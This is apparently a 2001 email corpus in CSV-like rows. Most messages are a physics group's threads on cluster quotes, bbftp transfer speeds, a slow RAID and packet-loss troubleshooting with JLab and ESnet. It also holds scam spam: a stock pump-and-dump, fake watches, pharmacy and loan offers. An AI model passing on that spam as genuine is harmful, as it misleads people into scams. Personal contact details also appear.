Weinstein Chapter 7,8, part of 9 dealing with future hardware Tom and Albert 5.b) The three groups should begin by writing outlines of what needs to be in there. We will then discuss our outlines and decide how to proceed. 6. The goal for completing the rewrite is the August LSC meeting. 7) Next meeting: 13 February at 3:00pm Central. ",0,0 Francisco Chinchilla ,"""Michael F. Vineyard"" ","Tue, 23 Jan 2001 21:00:25 -0500",RE: still getting good rates,"1140588544 bytes got in 974 secs (1.14e+03 Kbytes/sec or 8.94 Mbits/s) A 1.1GB file in about 16 min 15 secs (started at 6:50 pm) 1140588544 bytes got in 964 secs (1.16e+03 Kbytes/sec or 9.03 Mbits/s) Same file, 8:30 pm or so. I assume that the 1 GB file is good enough as a benchmark, but if you want to test it out with a 2 GB file, tell me where I can find one in /work or /cache, because I couldn't. I will write up some steps needed to transfer the files. It works like a normal ftp, but you must write out all the commands into a file before connecting (it is not interactive, it just reads the commands from this file). Francisco Chinchilla ",0,0 """Michael F. Vineyard"" ",Francisco Chinchilla ,"Tue, 23 Jan 2001 21:51:52 -0500",Re: still getting good rates,"That's good enough. Go ahead and write it up. Good work, Francisco. Mike Francisco Chinchilla wrote: > 1140588544 bytes got in 974 secs (1.14e+03 Kbytes/sec or 8.94 Mbits/s) > > A 1.1GB file in about 16 min 15 secs (started at 6:50 pm) > > 1140588544 bytes got in 964 secs (1.16e+03 Kbytes/sec or 9.03 Mbits/s) > Same file, 8:30 pm or so. > > I assume that the 1 GB file is good enough as a benchmark, but if you want > to > test it out with a 2 GB file, tell me where I can find one in /work or > /cache, > because I couldn't. I will write up some steps needed to transfer the > files. > It works like a normal ftp, but you must write out all the commands into a > file before connecting (it is not interactive, it just reads the commands > from > this file). > > Francisco Chinchilla ",0,0 gilfoyle ,,"Tue, 23 Jan 2001 23:44:21 -0800",network appliance,"raidzone http://208.56.182.73/ -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,1 Judd Stohl ,ggilfoyl@richmond.edu,"Wed, 24 Jan 2001 09:46:08 -0500",Re: [sales] desired system,"Hi Jerry, My apologies that I didn't get the cluster quote out to you yesterday. I'm waiting for a reply from our cluster group about integrating your existing equipment with our equipment. I should have some pricing for you by the end of today. Thanks, -Judd Linux Work Account wrote: > > SendTo: ggilfoyl@richmond.edu > > >From ggilfoyl@richmond.edu Sun Jan 21 21:47:28 2001 > Received: from blount.mail.mindspring.net ([207.69.200.226]) > by mail.valinux.com with esmtp (Exim 3.16 #1 (Debian)) > id 14KZp9-0007KA-00 > for ; Sun, 21 Jan 2001 21:47:27 -0800 > Received: from richmond.edu (user-2ivemsc.dsl.mindspring.com [165.247.91.140]) > by blount.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id AAA12049; > Mon, 22 Jan 2001 00:47:25 -0500 (EST) > Sender: gilfoyle@mindspring.com > Message-ID: <3A6BF28D.47AD1A29@richmond.edu> > Date: Mon, 22 Jan 2001 00:42:53 -0800 > From: gilfoyle > Reply-To: ggilfoyl@richmond.edu > Organization: University of Richmond Physics Department > X-Mailer: Mozilla 4.6 [en] (X11; I; Linux 2.2.12 i686) > X-Accept-Language: en > MIME-Version: 1.0 > To: sales@valinux.com > Subject: desired system > Content-Type: text/plain; charset=us-ascii > Content-Transfer-Encoding: 7bit > > Dear VA Linux Systems Representative: > > I am a physicist at the University of Richmond and we are in > the process of developing a 'supercomputing' cluster to support > our research in nuclear and particle physics. I was wondering > if you could provide us with a quote for such a system and > answer a few questions about creating such a computer cluster. > The system we envision would consist of the following items. > > 1. 20, dual-Pentium, rack-mountable, linux workstations. Your > model 1220 seems like an appropriate choice. We would require > 512 MByte of RAM in each machine plus about 36 GByte of disk > space. > > 2. 2-3 TByte of disk space. Your model 4450 database server > looks like the type of device we want. We want it to also be > rack-mountable. > > 3. 24-port router. We already have a smaller, 12-node cluster > with a 24-port router, but would presumably require a second > one. We would like to put all the machines (old and new) on > the same subnet for security reasons. Is it possible to > daisy-chain routers together or do we need to get a new, > larger one to handle all 32 nodes? > > 4. Two 21-inch monitors and a switch so that we can quickly > and easily view the output from any single node. > > 5. Backup power supplies. > > 6. Racks to hold it all. > > Any help you can provide us would be greatly appreciated. My > contact information is below. > > Thanks-in-advance, > > Jerry Gilfoyle > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 -- Judd Stohl PH: 1-888-546-8948 x76909 Account Executive Direct PH: 910-794-3327 Mid Atlantic Region FX: 1-910-794-3354 VA Linux Systems http://valinux.com",0,1 Munir Islam ,fried@het.brown.edu,"Mon, 29 Jan 2001 15:50:11 -0500",QCD Workshop,"Hi Herb: Herbert Weigel and I wrote a paper on describing nuclear matter in heavy-ion collisions. Herbert was a Heisenberg Fellow at MIT at that time. Now , he is back in Germany. I mentioned to him about your QCD Workshop in Paris in June this year. He said that he would like to participate. Please send him an invitation. I will ask him to contact you. Herbert is a bright , prolific young researcher. I am confident he will give a good presentation of whatever he decides to talk about. Best regards. Munir P.S. I have also mentioned about your Workshop to another colleague, Mark Swanson. Mark is a Professor of Physics at our UConn Stamford Campus. He is a first-rate researcher and is the author of a book: Path Integrals and Quantum Processes. He will also contact you, if he decides to participate. He will be excellent. ( I guess, I have been working extra time to publicize how good your workshops are ! ) ",0,0 Shelley Navarro ,ggilfoyl@facstaff.richmond.edu,"Thu, 01 Feb 2001 02:28:03 -0120",Re:,"Watch this company closely starting now! De Greko, Inc. (OTC: DGKO) WITHIN 45 DAYS, CLIXME AWARENESS CAMPAIGN TO BEGIN (This was announced Tuesday March 28, 7:45 am ET) The company is currently developing a campaign that will launch nationwide which will highlight the Clixme, ""Click to Call"" platform. In the next 45 days a media campaign will begin that will target not only customers for De Greko Communications but also show the investment community that the product is first rate and works efficiently. The company is currently targeting to obtain media coverage in: - Fortune Magazine, a Time Inc. Co. (TWX:NYSE) - Money Magazine, a Time Inc. Co. (TWX:NYSE) - Wall Street Journal, a Dow Jones Co (DJ:NYSE) - USA Today, a Division of Gannett Co. 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""We will be posting a pre-registration form for companies interested in deploying the service on their own website when we launch the service to businesses nationwide."" Do your research now! You have a load of press to read before Monday. VGQA5Z1BT3153QXED01N Information within this report contains forward looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the SEC Act of 1934. Statements that involve discussions with respect to projections of future events are not statements of historical fact and may be forward looking statements. Don't rely on them to make a decision. The Company is not a reporting company registered under the Exchange Act of 1934. We have received one million free trading shares from a third party not an officer, director or affiliate shareholder. We intend to sell all our shares now, which could cause the stock to go down, resulting in losses for you. . It is an operating company and producing revenues. Read the Company's Annual Report and Information Statement before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. B3L4PZ1OZVBEZ2DY ",1,0 Judd Stohl ,ggilfoyl@richmond.edu,"Wed, 31 Jan 2001 17:28:40 -0500",Re: an addition to our cluster,"Jerry, The cost of the VA100 will be around $3500 + $1500 for a VACM (VA Cluster Manger) intergration charge. Here is pricing for upgrading from our standard warranty. 1 year onsite service, $195 per box 3 year onsite service, $299 per box Regards, -Judd gilfoyle wrote: > > Hi Judd, > > Thanks for the quote on the cluster for the University of > Richmond Physics Department. The quote included 20 of the > following machines. > > > > > VA Linux Systems 1220 1U Linux Server > > 2 866MHz Pentium III > > 512MB ECC RAM > > SCSI Config (1220) > > 36GB SCSI Drive (7200rpm) > > Recommended Server Partition > > VA Linux 1220 User's Guide > > No CD, No Documentation > > Assy Slide Rail Mount Kit > > How much would an extended warranty cost for each machine? > > Thanks-in-advance, > > Dr. Jerry Gilfoyle > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 -- Judd Stohl PH: 1-888-546-8948 x76909 Account Executive Direct PH: 910-794-3327 Mid Atlantic Region FX: 1-910-794-3354 VA Linux Systems http://valinux.com ",0,1 Mike,elizabeth@tartan.richmond.edu,"Tue, 06 Feb 2001 10:53:56 +0000","Rolex, Cartier, Tag Heuer, Breitling, Louis Vuitton","ROLEX starting at $200! Cartier, Piaget, Patek Phillipe, Tag Heuer & many more! bull dougpreston goat jeff theking shelley christop marcus aeh slacker passion taffy zeppelin gray medical sasha fun james1 caesar godzilla wolverin andre zeppelin bernie guido charlottriverjohnson",1,1 Francisco Chinchilla ,ggilfoyl@richmond.edu,"Sat, 10 Feb 2001 04:02:42 -0500",RE: slow bbftp,"1140588544 bytes got in 955 secs (1.17e+03 Kbytes/sec or 9.11 Mbits/s) That is ~1.1GB in 16 mins My ctrl file is: cd /work cd hallb cd e94016 get r8374.evt With your ctrl file: cd /cache/clas/e1b/production/pass2.x/prod19/Ntuples get run16328.a00prod19.rzn 110480208 bytes got in 92.7 secs (1.16e+03 Kbytes/sec or 9.09 Mbits/s) ~106 MB in 1.5 mins The times were btwn 3:30-4 am. I ran these commands from psc1. You seem to be doing it right so unless there was something wrong with the network somewhere I don't know what happened. Francisco Chinchilla ",0,0 Francisco Chinchilla ,ggilfoyl@richmond.edu,"Sat, 10 Feb 2001 16:30:34 -0500",RE: slow bbftp,"I saw you loggend in tty1 and tried calling but no one answered. I do not know if you are transferring files to the raid right now, but I copied the exact same file that you did today again to psc1 and it took 1.5 mins for the 100 MB or so. I then did a cp to move it from /home to /net/pscr1/BLAHBLAH and in 50 mins it had barely copied 15 MB. That is not good, at all. I also must ssh to some other machine first, then ssh to psc1, so it is not the ssh ( the bbftp goes from psc1 to bbftp.jlab.org without going through your ssh connection to gpg1). I think it is slow from psc1 to pscr1, but I have no idea why. I will look into it tonight. I spoke to Adnan yesterday. I will start training him this week, maybe even today. He can borrow the books up there right? Also, I will give him an acct on physxcd. Do you want him to have an acct on psc1 and/or root on physxcd right now or wait a little while or is it my call? I went there Wed but none of you were there, but I will try to find you sometime this week again. I will email you on any discoveries on the pscr1 thing. For now, if you can fit the data files in psc1 you might just want to copy the file(s) there??? Francisco Chinchilla ",0,0 Francisco Chinchilla ,ggilfoyl@richmond.edu,"Sat, 10 Feb 2001 21:38:44 -0500",RAID woes,"Dr Vineyard, you are the one with the most experience with the NAS. Is there any reason you can think of that explains why you cannot write to it faster than say...100kb/s? I tried ftp and nfs from psc1 and psc5 and psc12 and got no more than 95 kb/s. I switched cables, no. I switched cables and hooked it up to where psc12 is hooked up on the catalyst switch to see if maybe jack #13 was not working and that was not it either. I even set up a monitor, keyboard, etc and copied a file from /home/common/e1b to /home/common and that did not work any better. I then tried reading files from the NAS and copying them over to psc1 and that worked fine, I got good speeds. It seems as if the NAS is not willing to write to the disk at all, and that I have no idea why. Do you have any ideas or suggestions? Francisco Chinchilla ",0,0 """Michael F. Vineyard"" ",Francisco Chinchilla ,"Sun, 11 Feb 2001 11:00:14 -0500",Re: RAID woes,"Hi Francisco, I have no idea what's going on. You can try rebooting. If that doesn't work you should call raidzone and talk to them. Also, we need to get a windows or mac machine on the switch so that we can use the web interface to review the setup. Maybe something is just not set right. Mike Francisco Chinchilla wrote: > Dr Vineyard, you are the one with the most experience with the NAS. Is there > any reason you can think of that explains why you cannot write to it faster > than say...100kb/s? I tried ftp and nfs from psc1 and psc5 and psc12 and got > no more than 95 kb/s. I switched cables, no. I switched cables and hooked it > up to where psc12 is hooked up on the catalyst switch to see if maybe jack #13 > was not working and that was not it either. I even set up a monitor, > keyboard, etc and copied a file from > /home/common/e1b to /home/common and that did not work any better. > I then tried reading files from the NAS and copying them over to psc1 and that > worked fine, I got good speeds. It seems as if the NAS is not willing to > write to the disk at all, and that I have no idea why. Do you have any ideas > or suggestions? > > Francisco Chinchilla ",0,0 Francisco Chinchilla ,"""Michael F. Vineyard"" ","Sun, 11 Feb 2001 18:45:04 -0500",RE: RAID woes,"I shut it down and rebooted at least twice when I was changing cables so it looks like I will call RAIDZONE cuz from psc? to psc? I always got at least 9Mbits so it is not the switch. Do you remember the speeds you got before when copying stuff from psc1 to pscr1 or did you always copy straight from jlab to pscr1? Francisco Chinchilla ",0,0 """Michael F. Vineyard"" ",Francisco Chinchilla ,"Sun, 11 Feb 2001 19:46:11 -0500",Re: RAID woes,"Hi Francisco, Last summer, before we got the RAID, I got typical speeds of 700 kBytes/s when copying from jlab to psc1. The best I ever got to pscr1 was ~100 kBytes/s, but I always assumed that pscr1 was not the problem. I think you should call raidzone and see what they have to say about the problem. Like I said before, because of the problem with the web interface, the way we have pacr1 set up may not be optimum. Mike Francisco Chinchilla wrote: > I shut it down and rebooted at least twice when I was changing cables so it > looks like I will call RAIDZONE cuz from psc? to psc? I always got at least > 9Mbits so it is not the switch. Do you remember the speeds you got before > when copying stuff from psc1 to pscr1 or did you always copy straight from > jlab to pscr1? > > Francisco Chinchilla ",0,0 Francisco Chinchilla ,"""Michael F. Vineyard"" ","Sun, 11 Feb 2001 21:23:02 -0500",RE: RAID woes,"Usually, a reconfiguration requires the drives to be formatted. I want to start copying the files to the /data and /scratch directories in psc2-12 (reading from the RAID has been at least 9Mbits/s). Do you guys have any thoughts on starting to copy the data over to psc2-12? Francisco Chinchilla ",0,0 Terence Charles ,ggilfoyl@facstaff.richmond.edu,"Tue, 13 Feb 2001 23:16:58 -0400",are you sick?,"His mind whirred with wild ideas, insane ideas. Our cuustomerz L00k y0unger and feel better beecause they know where to buy best medicattionz... You also can find out. Click_heere_for_your_LICENNSED_health_ppr0ductz. ""I thought I had beaten the Wicked Witch then, and I worked harder than ever; but I little knew how cruel my enemy could be.",1,1 """Michael F. Vineyard"" ","""Gerard P. Gilfoyle"" ","Wed, 14 Feb 2001 16:03:25 -0500",Re: moved files,"Hi Jerry, Why did you do that? The /scratch and /data disks on psc12 can only be seen by psc12 and psc1. Also, all my gsim and cooking scripts are set up to use the /scratch disks on the local nodes and if they're full of course the jobs will bomb. If you want to store data on the node disks, please use the /data disks or leave ~2 GB free on the /scratch disks so I don't have to change all my scripts. Later, Mike ""Gerard P. Gilfoyle"" wrote: > yo, > > i have moved all the files from the e1b area onto the > scratch areas on psc11 and psc12. the psc12 area is almost > completely used up. the psc11 area still has lots of space. > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 """Michael F. Vineyard"" ",Francisco Chinchilla ,"Wed, 14 Feb 2001 16:54:07 -0500",Re: RAID woes,"Hi Francisco, Can we get together on Friday to work on the raid problem? I called raidzone and talked to a tech support guy. He pointed me to a site where we can download upgrades that he said should fix the problem. He also told me that the problem with the web interface is a gnome problem. If you use another window manager like kde the interface works fine. Check it out if you get a chance. The download site is www.raidzone.com/nas Later, Mike PS. Please send me Adnan's email address. Francisco Chinchilla wrote: > Usually, a reconfiguration requires the drives to be formatted. I want to > start copying the files to the /data and /scratch directories in psc2-12 > (reading from the RAID has been at least 9Mbits/s). Do you guys have any > thoughts on starting to copy the data over to psc2-12? > > Francisco Chinchilla ",0,0 Francisco Chinchilla ,"""Michael F. Vineyard"" ","Fri, 16 Feb 2001 05:37:31 -0500",various,"If the patch that is located at the download page fixes everything then I dont think we need to move files around to the other machines. I will apply the patch that was on the website and let you know how it went. I seem to be having motherboard failures and had to reformat my hard drive. It is a really weird error that I have yet to figure out fully and is gonna leave me struggling for a few days until I can manage to put myself more or less where I was before, hopefully. Anyways, Adnan's email is: aiqbal@richmond.edu I will try to get him started this weekend. I don't really have any plans for Spring Break and was wondering if I could stay here working for that week. Is that ok with you guys? Francisco Chinchilla ",0,0 """Antisocial A. Hostility"" ",Bait ,"Thu, 22 Feb 2001 04:28:50 -0400",Software,"Learn to build simple and clean websites that can bring in the dough... Learn to build simple and clean websites that can bring in the dough... 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My ssh client told me that my internet connection was lost and that i should try again in a few seconds, but if this keeps happening the bbftp client will never finish because you get kicked out and have to reconnect back in everytime you loose the connection so you are screwed. Maybe we should ask jlab if they know why we keep getting booted after a being logged on for a little while. Francisco Chinchilla ",0,0 ccpr_reply@jlab.org,ggilfoyl@richmond.edu,"Fri, 23 Feb 2001 10:24:10 -0500",CCPR 6772 ( bbftp problems) ,"Your problem report has been received and processed at the Computer Center It has been assigned the tracking number: CCPR 6772 Message Subject: bbftp problems Message Body: Hi, I have been trying to transfer files from JLab to the University of Richmond during the last couple of days and failing. The problem is the following. 1. I am using bbftp to transfer files from the CLAS work disk at /work/clas/disk3/gilfoyle to Richmond. 2. I can transfer small files without difficulty. 3. When i try to transfer large DST files (actually only about 78 MBytes per file) the connection times out and I get stuff like the following. psc1:data> bbftp -u gilfoyle -i bbftpctrl bbftp.jlab.org Password (max length = 8192): Starting under pid 26401 on Fri Feb 23 09:05:18 >> USERNAME gilfoyle PASS << bbftpd version 1.9.1 : OK >> COMMAND : cd /work/clas/disk3/gilfoyle/ << OK : Current remote directory is /w/work610/gilfoyle >> COMMAND : get run17469.a00prod19.rzn Child 026402 : Error while receiving : Time Out << Connection timed out Retrying transfer waiting 60 s >> COMMAND : get run17469.a00prod19.rzn Child 026403 : Error while receiving : Time Out Read message : Time out : MSG (20,0)Error reading BAD message after send waitcontrol Retrying connection waiting 60 s Cannot connect to control socket: No route to host Retrying connection waiting 60 s >> USERNAME gilfoyle PASS << bbftpd version 1.9.1 : OK >> COMMAND : cd /w/work610/gilfoyle << OK : Current remote directory is /w/work610/gilfoyle >> COMMAND : get run17469.a00prod19.rzn Child 026406 : Error while receiving : Time Out Read message : Time out : MSG (20,0)Error reading BAD message after send waitcontrol Retrying connection waiting 60 s Cannot connect to control socket: No route to host Retrying connection waiting 60 s The bbftp control file I was using is below. psc1:data> more bbftpctrl cd /work/clas/disk3/gilfoyle/ get run17469.a00prod19.rzn get run17469.a01prod19.rzn get run17469.a02prod19.rzn get run17469.a03prod19.rzn get run17469.a04prod19.rzn get run17469.a05prod19.rzn get run17469.a06prod19.rzn get run17469.a07prod19.rzn get run17469.a08prod19.rzn get run17469.a10prod19.rzn 4. This occurs even when I try data transfers late at night (around 11:30 pm) 5. I tried registering this problem with CCPR and I get a message 'Unable to locate the server mis.jlab.org'. Thanks-in-advance for your help. Cheers, Jerry Gilfoyle -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 You can track this or any other help request with the searchable database at http://mis.jlab.org/prd/ccpr/ccpr_user/ccprframe_user.cfm",0,1 Geoffrey Atkins ,arrows@IMAP2.ASU.EDU,"Fri, 23 Feb 2001 04:13:41 -0600",Yours loan is approved 5ls,"Dear Homeowner, arrows@IMAP2.ASU.EDU http://feabc.com/goodstep You have been approved for a $ 896,747 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. 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",0,0 ccpr_reply@jlab.org,"ggilfoyl@richmond.edu, kowalski@jlab.org","Fri, 23 Feb 2001 16:29:02 -0500",Subject: Re: Subject: Re: CCPR 6772 UPDATE ( bbftp problems) ,"The following is a reply to CCPR report from ggilfoyl@richmond.edu hi ccpr_reply, we have some security measures in place, but they should not prevent the transfers. besides, i can transfer small files with not trouble; it's large files ONLY that fail. jerry gilfoyle ccpr_reply@jlab.org wrote: > > The following is a reply to CCPR report from kowalski@jlab.org > > The logs for our bbftp server show your connection, but it gets timeouts trying to > open the connection to send the data. > > Like ftp, bbftp makes a call back to the client on a separate port to send the data. > Does your site have a firewall setup that prevents outside machines from opening > connections to your host (psc1.richmond.edu)? > > > > > -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 ccpr_reply@jlab.org,"ggilfoyl@richmond.edu, kowalski@jlab.org","Fri, 23 Feb 2001 17:21:02 -0500",Subject: Re: Subject: Re: Subject: Re: CCPR 6772 UPDATE ( bbftp problems) ,"The following is a reply to CCPR report from ggilfoyl@richmond.edu hi, we just got more information on the problem with file transfers to richmond via bbftp. i do not think the problem relates to bbftp because when logged in via ssh to jlabs1.jlab.org. when running a traceroute and ping continuously i found that after 30 seconds or so the session just got cut off for 15-20 seconds and then it came back up again (that is why the bbftp and ssh sessions were not working). traceroute was able to reach [192.157.69.12] but was unable to reach [134.55.208.45] these are es.net servers and appear to intermittenly fail between these two points. if the file is small enough then it can squeeze through the time window when the connection is alive. thanks-in-advance for your help, jerry gilfoyle ccpr_reply@jlab.org wrote: > > The following is a reply to CCPR report from ggilfoyl@richmond.edu > > hi ccpr_reply, > > we have some security measures in place, but they should not > prevent the transfers. besides, i can transfer small files with > not trouble; it's large files ONLY that fail. > > jerry gilfoyle > > ccpr_reply@jlab.org wrote: > > > > The following is a reply to CCPR report from kowalski@jlab.org > > > > The logs for our bbftp server show your connection, but it gets timeouts trying to > > open the connection to send the data. > > > > Like ftp, bbftp makes a call back to the client on a separate port to send the data. > > Does your site have a firewall setup that prevents outside machines from opening > > connections to your host (psc1.richmond.edu)? > > > > > > > > > > > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 > -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 ccpr_reply@jlab.org,"ggilfoyl@richmond.edu, kowalski@jlab.org","Fri, 23 Feb 2001 17:38:01 -0500",Subject: CCPR 6772 [Fwd: JLab <-> U of Richmond connectivity?] ,"The following is a reply to CCPR report from Sandy.Philpott@jlab.org This is a multi-part message in MIME format. --------------83158DDD805DFB9F6CAB9EBA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit --------------83158DDD805DFB9F6CAB9EBA Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-ID: <3A96E5C2.28E31B12@jlab.org> Date: Fri, 23 Feb 2001 17:35:46 -0500 From: Sandy Philpott X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: trouble@es.net Subject: JLab <-> U of Richmond connectivity? References: <200102232221.f1NML2Z01292@ccs4.jlab.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit ESnet, We have intermittent connectivity problems between Jefferson Lab (jlabs1.jlab.org) and the University of Richmond (psc1.richmond.edu): ----psc1.richmond.edu PING Statistics---- 105 packets transmitted, 42 packets received, 60% packet loss round-trip (ms) min/avg/max = 79/82/89 ----psc1.richmond.edu PING Statistics---- 14 packets transmitted, 11 packets received, 21% packet loss round-trip (ms) min/avg/max = 80/82/89 Could you take a look? Thank you, Sandy Philpott Jefferson Lab Computer Center > The following is from ggilfoyl@richmond.edu > > when running a traceroute > and ping continuously i found that after 30 seconds or so the session > just got cut off for 15-20 seconds and then it came back up again (that > is why the bbftp and ssh sessions were not working). > > traceroute was able to reach [192.157.69.12] > but was unable to reach [134.55.208.45] > > these are es.net servers and appear to intermittenly fail between these > two points. > if the file is small enough then it can squeeze through the time window > when the connection is alive. --------------83158DDD805DFB9F6CAB9EBA--",0,0 Francisco Chinchilla ,ccpr_reply@jlab.org,"Fri, 23 Feb 2001 22:10:12 -0500",CCPR 6772 UPDATE,">From various other hosts the results were the same and can be summarized in: http://www.student.richmond.edu/~fchinchi/pings_compare.html Francisco Chinchilla >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> The following is a reply to CCPR report from kowalski@jlab.org The logs for our bbftp server show your connection, but it gets timeouts trying to open the connection to send the data. Like ftp, bbftp makes a call back to the client on a separate port to send the data. Does your site have a firewall setup that prevents outside machines from opening connections to your host (psc1.richmond.edu)? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ",0,1 ccpr_reply@jlab.org,"ggilfoyl@richmond.edu, kowalski@jlab.org","Fri, 23 Feb 2001 22:01:01 -0500",Subject: CCPR 6772 UPDATE ,"The following is a reply to CCPR report from fchinchi@richmond.edu From various other hosts the results were the same and can be summarized in: http://www.student.richmond.edu/~fchinchi/pings_compare.html Francisco Chinchilla >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> The following is a reply to CCPR report from kowalski@jlab.org The logs for our bbftp server show your connection, but it gets timeouts trying to open the connection to send the data. Like ftp, bbftp makes a call back to the client on a separate port to send the data. Does your site have a firewall setup that prevents outside machines from opening connections to your host (psc1.richmond.edu)? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ",0,1 ccpr_reply@jlab.org,"ggilfoyl@richmond.edu, kowalski@jlab.org","Fri, 23 Feb 2001 22:35:01 -0500",Subject: CCPR 6772 [Fwd: JLab <-> U of Richmond connectivity?] ,"The following is a reply to CCPR report from philpott@jlab.org This is a multi-part message in MIME format. --------------2BCDDC26C05E39F3D2B01D3D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit --------------2BCDDC26C05E39F3D2B01D3D Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Received: from jlab1.jlab.org (jlab1.jlab.org [192.70.245.101]) by ccs4.jlab.org (8.11.0/8.11.0) with ESMTP id f1NN0QI06527 for ; Fri, 23 Feb 2001 18:00:26 -0500 (EST) Received: from mail1.es.net (mail1.es.net [198.128.3.181]) by jlab1.jlab.org (8.9.3/8.9.3) with SMTP id SAA16877 for ; Fri, 23 Feb 2001 18:00:25 -0500 (EST) Received: from opn6.es.net [198.128.15.103] by mail1.es.net with smtp (Exim 1.81 #2) id 14WRCJ-0001jN-00; Fri, 23 Feb 2001 15:00:23 -0800 Date: Fri, 23 Feb 2001 15:00:23 -0800 (PST) From: ESnet Operator Reply-To: ESnet Operator Subject: Re: JLab <-> U of Richmond connectivity? To: Sandy.Philpott@jlab.org Cc: trouble@es.net MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: Z8J4BCqqlyuZDfyI8XI8pw== X-Mailer: dtmail 1.2.1 CDE Version 1.2.1 SunOS 5.6 sun4u sparc Message-Id: Sandy, Your email regarding connectivity problem to U of Richmond has been received. Someone from our Network Engineering Services group will be in contact with you. TTS# 7207 has been opened. Rusty Huie ESnet - The Energy Science Network 1 800-33-ESnet (1 800-333-7638) Network Operations & Management Center +1 510-486-7600 (Outside the USA) To report problems via Email: trouble@es.net To request information via Email: info@es.net To view an open trouble ticket: finger @ticket.es.net ESnet - Connecting people, information and resources. http://www.es.net > Date: Fri, 23 Feb 2001 17:35:46 -0500 > From: Sandy Philpott > To: trouble@es.net > Subject: JLab <-> U of Richmond connectivity? > > ESnet, > > We have intermittent connectivity problems between Jefferson Lab > (jlabs1.jlab.org) and the University of Richmond (psc1.richmond.edu): > > ----psc1.richmond.edu PING Statistics---- > 105 packets transmitted, 42 packets received, 60% packet loss > round-trip (ms) min/avg/max = 79/82/89 > ----psc1.richmond.edu PING Statistics---- > 14 packets transmitted, 11 packets received, 21% packet loss > round-trip (ms) min/avg/max = 80/82/89 > > Could you take a look? > > Thank you, > Sandy Philpott > Jefferson Lab Computer Center > > > The following is from ggilfoyl@richmond.edu > > > > when running a traceroute > > and ping continuously i found that after 30 seconds or so the session > > just got cut off for 15-20 seconds and then it came back up again (that > > is why the bbftp and ssh sessions were not working). > > > > traceroute was able to reach [192.157.69.12] > > but was unable to reach [134.55.208.45] > > > > these are es.net servers and appear to intermittenly fail between these > > two points. > > if the file is small enough then it can squeeze through the time window > > when the connection is alive. > --------------2BCDDC26C05E39F3D2B01D3D--",0,1 ccpr_reply@jlab.org,"ggilfoyl@richmond.edu, kowalski@jlab.org","Mon, 26 Feb 2001 10:35:46 -0500",CCPR 6772 UPDATE ( bbftp problems),"Here is an update to the help request you submitted. When you reply to THIS message, Please DO NOT include the original text below. Mod Date: 2001/02/26 Mod Time: 10:35:46 Mod User: kowalski Current State: WORKING STATE changed from (RECEIVED) to WORKING. Change of state. Waiting to hear from ESNet. -------------------------------------------------------------- Here is a copy of your Original Request: Email: ggilfoyl@richmond.edu Name: Username: Staff: kowalski Platform: Building: Room: Hostname: Category: NETWORK PROBLEM Subject: bbftp problems Request: Hi, I have been trying to transfer files from JLab to the University of Richmond during the last couple of days and failing. The problem is the following. 1. I am using bbftp to transfer files from the CLAS work disk at /work/clas/disk3/gilfoyle to Richmond. 2. I can transfer small files without difficulty. 3. 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Traceroutes are blocked after that point until the end host is reached. ___________________________________________________________________________ cebaf-rt1#trace psc1.richmond.edu Tracing the route to psc1.richmond.edu (141.166.222.211) 1 dchub-jlab.es.net (134.55.208.81) 20 msec 20 msec 20 msec 2 dcconn-dchub.es.net (134.55.208.174) 44 msec 44 msec 40 msec 3 nvirginia-dcconn.es.net (198.124.254.26) 44 msec 48 msec 44 msec 4 * * * 5 * * * 6 * * * 7 * * * 8 * * * 9 * * * 10 * * * 11 * * psc1.richmond.edu (141.166.222.211) [AS 7066] 80 msec ___________________________________________________________________________ We can get to Network Virginia from our router at JLab with no losses, but when the pings are run to the first Network Virginia hop & to the psc1.richmond.edu host simultaneously, the problem is clearly past ESnet. ___________________________________________________________________________ To Network Virginia - First Handoff Point Past ESnet cebaf-rt1#ping 198.124.254.26 Sending 1000, 100-byte ICMP Echos to 198.124.254.26, timeout is 2 seconds: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 